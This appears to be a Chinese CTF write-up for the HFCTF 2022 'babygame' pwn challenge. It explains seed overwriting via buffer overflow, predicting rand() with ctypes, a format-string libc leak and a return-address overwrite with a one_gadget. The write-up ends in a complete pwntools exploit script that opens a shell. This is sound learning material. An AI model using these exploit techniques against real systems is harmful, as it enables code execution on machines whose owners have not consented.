[虎符CTF 2022]babygame
悄悄话:
大佬wp看了好久,才明白这题的思路,典型的拆开来会写,拼一起就不会,还是太菜了,最近写基础,才发现当初学的不怎么样,这个就当一个复现了,给一个详细的wp
小建议:
写这题前,知晓有关随机数,格式化字符串漏洞和 Stack smash 的知识点,会好懂一点,我这里贴一些知识点


知识点:

  1. ctypes库(调用 C 语言)
    介绍:
    ctypes 是 Python 的标准库,用来调用 C 语言写的动态链接库(.so / .dll)并与 C 类型交互。
    基本用法
    加载动态库
1
2
3
from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# 也可以用 windll.LoadLibrary("xxx.dll") 在 Windows 上

cdll:调用 C 函数时按默认的 C 调用约定。
调用库里的函数

1
libc.printf(b"Hello, %d\n", 123)

直接调用,Python 会自动把 int 转换为 C int
2. rand函数

1
2
#include <stdlib.h>
int rand(void);
  • 返回值:0 ~ RAND_MAX(通常是 0~32767)之间的一个伪随机整数。
  • rand() 本身不是真随机,而是 伪随机:依赖内部的全局种子 seed
    如果不调用 srand() 初始化种子,rand() 默认相当于 srand(1),每次程序运行出来的随机序列都一样。
    伪随机序列特性
    rand() 产生的序列是确定性的,只要种子相同,序列一定相同。
    举例:
1
srand(1234); printf("%d\n", rand()); printf("%d\n", rand());

无论运行多少次,都输出一样的两个数字。

  1. Stack smash
    在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。
    所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。
    这个方法在 glibc-2.31 之后不可用了
格式符 作用
%x 打印栈上的4字节数据(十六进制)
%s 打印栈上指针指向的字符串
%n 写已打印字符数到对应指针指向的地址
%p 打印指针值(地址)
%d 打印十进制整数
%c 输出一个字符

准备


64 位,保护全开

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[256]; // [rsp+0h] [rbp-120h] BYREF
unsigned int seed; // [rsp+100h] [rbp-20h]
int v6; // [rsp+104h] [rbp-1Ch]
unsigned __int64 v7; // [rsp+108h] [rbp-18h]

v7 = __readfsqword(0x28u);
sub_1269(a1, a2, a3);
seed = time(0LL);
puts("Welcome to HFCTF!");
puts("Please input your name:");
read(0, buf, 0x256uLL);
printf("Hello, %s\n", buf);
srand(seed);
v6 = sub_1305();
if ( v6 > 0 )
sub_13F7();
return 0LL;
}

先用当前时间作为随机数的种子
然后一个输入,读取输入最大 598(0x256) 个字节到 buf 中,但 buf 大小不够,所以存在缓冲区溢出
有一个 sub_1305 函数,函数结果赋值给 v6
下面用 if 判断,判断 v6 的值, v6 大于 0 时,有一个 sub_13F7 函数

sub_1305函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 sub_1305()
{
int i; // [rsp+4h] [rbp-Ch]
int n2_1; // [rsp+8h] [rbp-8h]
int n2; // [rsp+Ch] [rbp-4h]

puts("Let's start to play a game!");
puts("0. rock");
puts("1. scissor");
puts("2. paper");
for ( i = 0; i <= 99; ++i )
{
printf("round %d: \n", i + 1);
n2_1 = rand() % 3;
n2 = sub_129C();
if ( n2_1 )
{
if ( n2_1 == 1 )
{
if ( n2 != 2 )
return 0LL;
}
else if ( n2_1 == 2 && n2 )
{
return 0LL;
}
}
else if ( n2 != 1 )
{
return 0LL;
}
}
return 1LL;
}

0-石头,1-剪刀,2-布的游戏,循环 100 次,系统随机生成 0,1,2 中的一个,当我们 100 次都获胜的时候,返回值是 1 ,失败了就返回 0 ,最后会退出程序

sub_13F7函数

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 sub_13F7()
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Good luck to you.");
read(0, buf, 0x100uLL);
printf(buf);
return __readfsqword(0x28u) ^ v2;
}

一个输入,有格式化字符串漏洞

思路:

有溢出点和格式化字符串漏洞,但保护全开,需要绕过游戏限制
学习大佬的方法,打 one_gadget ,改返回地址为 one_gadget ,执行完直接触发 shell (每次的想法先是改为 system('/bin/sh') ,怕麻烦遇到要改条件的 one_gadget ,这里用到也是促进自己多学了,毕竟有时候反而便利了许多)
开头先有一个溢出,所以可以用 Stack smash 的技巧,泄露一个栈地址
gdb 调试,直接运行

ni 指令单步调试,遇到输入点时,随便输入一个内容

一直运行到 read 函数之后,查看栈情况


获得输入点与 argv[0] 的偏移为 0x138

1
2
3
4
p.sendafter(b'name:\n', b'a'*0x137+b'b')
p.recvuntil(b'b')
stack=u64(p.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))

最后一个填充写 b 方便定位,获得一个栈地址
这里去 ida 中查看栈情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
-0000000000000120 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000120 // Frame size: 120; Saved regs: 8; Purge: 0
-0000000000000120
-0000000000000120 _BYTE buf;
-000000000000011F // padding byte
-000000000000011E // padding byte
-000000000000011D // padding byte
-000000000000011C // padding byte
-000000000000011B // padding byte
-000000000000011A // padding byte
-0000000000000119 // padding byte
-0000000000000118 // padding byte
-0000000000000117 // padding byte
-0000000000000116 // padding byte
-0000000000000115 // padding byte
-0000000000000114 // padding byte
-0000000000000113 // padding byte
-0000000000000112 // padding byte
-0000000000000111 // padding byte
-0000000000000110 // padding byte
-000000000000010F // padding byte
-000000000000010E // padding byte
-000000000000010D // padding byte
-000000000000010C // padding byte
-000000000000010B // padding byte
-000000000000010A // padding byte
-0000000000000109 // padding byte
-0000000000000108 // padding byte
-0000000000000107 // padding byte
-0000000000000106 // padding byte
-0000000000000105 // padding byte
-0000000000000104 // padding byte
-0000000000000103 // padding byte
-0000000000000102 // padding byte
-0000000000000101 // padding byte
-0000000000000100 // padding byte
-00000000000000FF // padding byte
-00000000000000FE // padding byte
-00000000000000FD // padding byte
-00000000000000FC // padding byte
-00000000000000FB // padding byte
-00000000000000FA // padding byte
-00000000000000F9 // padding byte
-00000000000000F8 // padding byte
-00000000000000F7 // padding byte
-00000000000000F6 // padding byte
-00000000000000F5 // padding byte
-00000000000000F4 // padding byte
-00000000000000F3 // padding byte
-00000000000000F2 // padding byte
-00000000000000F1 // padding byte
-00000000000000F0 // padding byte
-00000000000000EF // padding byte
-00000000000000EE // padding byte
-00000000000000ED // padding byte
-00000000000000EC // padding byte
-00000000000000EB // padding byte
-00000000000000EA // padding byte
-00000000000000E9 // padding byte
-00000000000000E8 // padding byte
-00000000000000E7 // padding byte
-00000000000000E6 // padding byte
-00000000000000E5 // padding byte
-00000000000000E4 // padding byte
-00000000000000E3 // padding byte
-00000000000000E2 // padding byte
-00000000000000E1 // padding byte
-00000000000000E0 // padding byte
-00000000000000DF // padding byte
-00000000000000DE // padding byte
-00000000000000DD // padding byte
-00000000000000DC // padding byte
-00000000000000DB // padding byte
-00000000000000DA // padding byte
-00000000000000D9 // padding byte
-00000000000000D8 // padding byte
-00000000000000D7 // padding byte
-00000000000000D6 // padding byte
-00000000000000D5 // padding byte
-00000000000000D4 // padding byte
-00000000000000D3 // padding byte
-00000000000000D2 // padding byte
-00000000000000D1 // padding byte
-00000000000000D0 // padding byte
-00000000000000CF // padding byte
-00000000000000CE // padding byte
-00000000000000CD // padding byte
-00000000000000CC // padding byte
-00000000000000CB // padding byte
-00000000000000CA // padding byte
-00000000000000C9 // padding byte
-00000000000000C8 // padding byte
-00000000000000C7 // padding byte
-00000000000000C6 // padding byte
-00000000000000C5 // padding byte
-00000000000000C4 // padding byte
-00000000000000C3 // padding byte
-00000000000000C2 // padding byte
-00000000000000C1 // padding byte
-00000000000000C0 // padding byte
-00000000000000BF // padding byte
-00000000000000BE // padding byte
-00000000000000BD // padding byte
-00000000000000BC // padding byte
-00000000000000BB // padding byte
-00000000000000BA // padding byte
-00000000000000B9 // padding byte
-00000000000000B8 // padding byte
-00000000000000B7 // padding byte
-00000000000000B6 // padding byte
-00000000000000B5 // padding byte
-00000000000000B4 // padding byte
-00000000000000B3 // padding byte
-00000000000000B2 // padding byte
-00000000000000B1 // padding byte
-00000000000000B0 // padding byte
-00000000000000AF // padding byte
-00000000000000AE // padding byte
-00000000000000AD // padding byte
-00000000000000AC // padding byte
-00000000000000AB // padding byte
-00000000000000AA // padding byte
-00000000000000A9 // padding byte
-00000000000000A8 // padding byte
-00000000000000A7 // padding byte
-00000000000000A6 // padding byte
-00000000000000A5 // padding byte
-00000000000000A4 // padding byte
-00000000000000A3 // padding byte
-00000000000000A2 // padding byte
-00000000000000A1 // padding byte
-00000000000000A0 // padding byte
-000000000000009F // padding byte
-000000000000009E // padding byte
-000000000000009D // padding byte
-000000000000009C // padding byte
-000000000000009B // padding byte
-000000000000009A // padding byte
-0000000000000099 // padding byte
-0000000000000098 // padding byte
-0000000000000097 // padding byte
-0000000000000096 // padding byte
-0000000000000095 // padding byte
-0000000000000094 // padding byte
-0000000000000093 // padding byte
-0000000000000092 // padding byte
-0000000000000091 // padding byte
-0000000000000090 // padding byte
-000000000000008F // padding byte
-000000000000008E // padding byte
-000000000000008D // padding byte
-000000000000008C // padding byte
-000000000000008B // padding byte
-000000000000008A // padding byte
-0000000000000089 // padding byte
-0000000000000088 // padding byte
-0000000000000087 // padding byte
-0000000000000086 // padding byte
-0000000000000085 // padding byte
-0000000000000084 // padding byte
-0000000000000083 // padding byte
-0000000000000082 // padding byte
-0000000000000081 // padding byte
-0000000000000080 // padding byte
-000000000000007F // padding byte
-000000000000007E // padding byte
-000000000000007D // padding byte
-000000000000007C // padding byte
-000000000000007B // padding byte
-000000000000007A // padding byte
-0000000000000079 // padding byte
-0000000000000078 // padding byte
-0000000000000077 // padding byte
-0000000000000076 // padding byte
-0000000000000075 // padding byte
-0000000000000074 // padding byte
-0000000000000073 // padding byte
-0000000000000072 // padding byte
-0000000000000071 // padding byte
-0000000000000070 // padding byte
-000000000000006F // padding byte
-000000000000006E // padding byte
-000000000000006D // padding byte
-000000000000006C // padding byte
-000000000000006B // padding byte
-000000000000006A // padding byte
-0000000000000069 // padding byte
-0000000000000068 // padding byte
-0000000000000067 // padding byte
-0000000000000066 // padding byte
-0000000000000065 // padding byte
-0000000000000064 // padding byte
-0000000000000063 // padding byte
-0000000000000062 // padding byte
-0000000000000061 // padding byte
-0000000000000060 // padding byte
-000000000000005F // padding byte
-000000000000005E // padding byte
-000000000000005D // padding byte
-000000000000005C // padding byte
-000000000000005B // padding byte
-000000000000005A // padding byte
-0000000000000059 // padding byte
-0000000000000058 // padding byte
-0000000000000057 // padding byte
-0000000000000056 // padding byte
-0000000000000055 // padding byte
-0000000000000054 // padding byte
-0000000000000053 // padding byte
-0000000000000052 // padding byte
-0000000000000051 // padding byte
-0000000000000050 // padding byte
-000000000000004F // padding byte
-000000000000004E // padding byte
-000000000000004D // padding byte
-000000000000004C // padding byte
-000000000000004B // padding byte
-000000000000004A // padding byte
-0000000000000049 // padding byte
-0000000000000048 // padding byte
-0000000000000047 // padding byte
-0000000000000046 // padding byte
-0000000000000045 // padding byte
-0000000000000044 // padding byte
-0000000000000043 // padding byte
-0000000000000042 // padding byte
-0000000000000041 // padding byte
-0000000000000040 // padding byte
-000000000000003F // padding byte
-000000000000003E // padding byte
-000000000000003D // padding byte
-000000000000003C // padding byte
-000000000000003B // padding byte
-000000000000003A // padding byte
-0000000000000039 // padding byte
-0000000000000038 // padding byte
-0000000000000037 // padding byte
-0000000000000036 // padding byte
-0000000000000035 // padding byte
-0000000000000034 // padding byte
-0000000000000033 // padding byte
-0000000000000032 // padding byte
-0000000000000031 // padding byte
-0000000000000030 // padding byte
-000000000000002F // padding byte
-000000000000002E // padding byte
-000000000000002D // padding byte
-000000000000002C // padding byte
-000000000000002B // padding byte
-000000000000002A // padding byte
-0000000000000029 // padding byte
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 _DWORD var_20;
-000000000000001C _DWORD var_1C;
-0000000000000018 _QWORD var_18;
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C // padding byte
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

输入点在 -0000000000000120 _BYTE buf;
seed-0000000000000020 _DWORD var_20;
两者间的距离是 0x120-0x20=0x100 ,我们输入的填充大小是 0x138 ,所以这里的 seed 值被我覆盖成了 0x61616161 ,这样生成的随机数就是固定的一个值

1
2
3
4
5
6
7
8
9
10
11
p.sendafter(b'name:\n', b'a'*0x137+b'b')
p.recvuntil(b'b')
stack=u64(p.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))

libcc.srand(0x61616161)
server_choices = [libcc.rand() % 3 for _ in range(100)]
text = [(choice + 1) % 3 for choice in server_choices]

for i in range(100):
p.sendafter(b'round', str(text[i]).encode())

成功绕过后就是利用格式化字符串漏洞
先用 aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p 查看偏移(输入位置)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process('/home/motaly/ser')
# p = remote('node5.anna.nssctf.cn',22777)
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
libcc=cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc.so.6')

p.sendafter(b'name:\n', b'a'*0x137+b'b')
p.recvuntil(b'b')
stack=u64(p.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))

libcc.srand(0x61616161)
server_choices = [libcc.rand() % 3 for _ in range(100)]
text = [(choice + 1) % 3 for choice in server_choices]

for i in range(100):
p.sendafter(b'round', str(text[i]).encode())

p.sendafter(b'you.\n',b'aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')


得到偏移为 6
在用 gdb 调试查看一下栈情况

1
2
3
4
for i in range(100):
p.sendafter(b'round', str(text[i]).encode())

gdb.attach(p)


看到在第 9 个位置有一个 printf 函数的地址,在 rbp+8 处是返回地址,与开头我们获取到的栈地址相差 0x220
所以这里修改一字节的内容,修改的地址给到返回地址,同时泄露第 9 个参数的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
p.sendafter(b'name:\n', b'a'*0x137+b'b')
p.recvuntil(b'b')
stack=u64(p.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))

libcc.srand(0x61616161)
server_choices = [libcc.rand() % 3 for _ in range(100)]
text = [(choice + 1) % 3 for choice in server_choices]

for i in range(100):
p.sendafter(b'round', str(text[i]).encode())

p.sendafter(b'you.\n', b'%62c%8$hhn.%9$pa' + p64(stack - 0x220))
p.recvuntil(b'0x')
printf_addr = int(p.recv(12), 16) - 175
log.success('printf: '+hex(printf_addr))

libc_base=printf_addr-libc.sym['printf']
log.success('libc_base: '+hex(libc_base))

接收到 you.\n (这里 5 个字符),然后给 62 个字符,总的就是 67(0x43)
(这里实际看数值是没改变的,只是链接到了返回地址,我觉得这里是为了下面的修改,更具体的我也不是很清楚)
后面再加一个泄露第 9 个参数,最后的 a 是填充,这里 %62c%8$hhn.%9$pa 有 16 个字符,64 位程序占 2 个参数位置,这里从第 6 个参数开始输入,所以这里写的位置是 8 和 9

这里读取的 printf 地址还存在偏移,要减去这个偏移值
最后直接用 fmtstr_payload 修改返回地址为 one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
p.sendafter(b'name:\n', b'a'*0x137+b'b')
p.recvuntil(b'b')
stack=u64(p.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))

libcc.srand(0x61616161)
server_choices = [libcc.rand() % 3 for _ in range(100)]
text = [(choice + 1) % 3 for choice in server_choices]

for i in range(100):
p.sendafter(b'round', str(text[i]).encode())

p.sendafter(b'you.\n', b'%62c%8$hhn.%9$pa' + p64(stack - 0x220))
p.recvuntil(b'0x')
printf_addr = int(p.recv(12), 16) - 175
log.success('printf: '+hex(printf_addr))

libc_base=printf_addr-libc.sym['printf']
log.success('libc_base: '+hex(libc_base))

one_gadget = libc_base + 0xe3b01
log.success('one_gadget: '+hex(one_gadget))
payload = fmtstr_payload(6, {(stack - 0x220):one_gadget})
p.sendafter(b'you.\n', payload)

主要还是最后这里用了 fmtstr_payload ,导致有些具体的不好调,有些细节思路看不了,当然也可能是我太菜了,我这个主要还是学习大佬的 wp 进行复现

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process('/home/motaly/ser')
# p = remote('node5.anna.nssctf.cn',22777)
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
libcc=cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc.so.6')

p.sendafter(b'name:\n', b'a'*0x137+b'b')
p.recvuntil(b'b')
stack=u64(p.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))

libcc.srand(0x61616161)
server_choices = [libcc.rand() % 3 for _ in range(100)]
text = [(choice + 1) % 3 for choice in server_choices]

for i in range(100):
p.sendafter(b'round', str(text[i]).encode())

p.sendafter(b'you.\n', b'%62c%8$hhn.%9$pa' + p64(stack - 0x220))
p.recvuntil(b'0x')
printf_addr = int(p.recv(12), 16) - 175
log.success('printf: '+hex(printf_addr))

libc_base=printf_addr-libc.sym['printf']
log.success('libc_base: '+hex(libc_base))

one_gadget = libc_base + 0xe3b01
log.success('one_gadget: '+hex(one_gadget))
payload = fmtstr_payload(6, {(stack - 0x220):one_gadget})
p.sendafter(b'you.\n', payload)

p.interactive()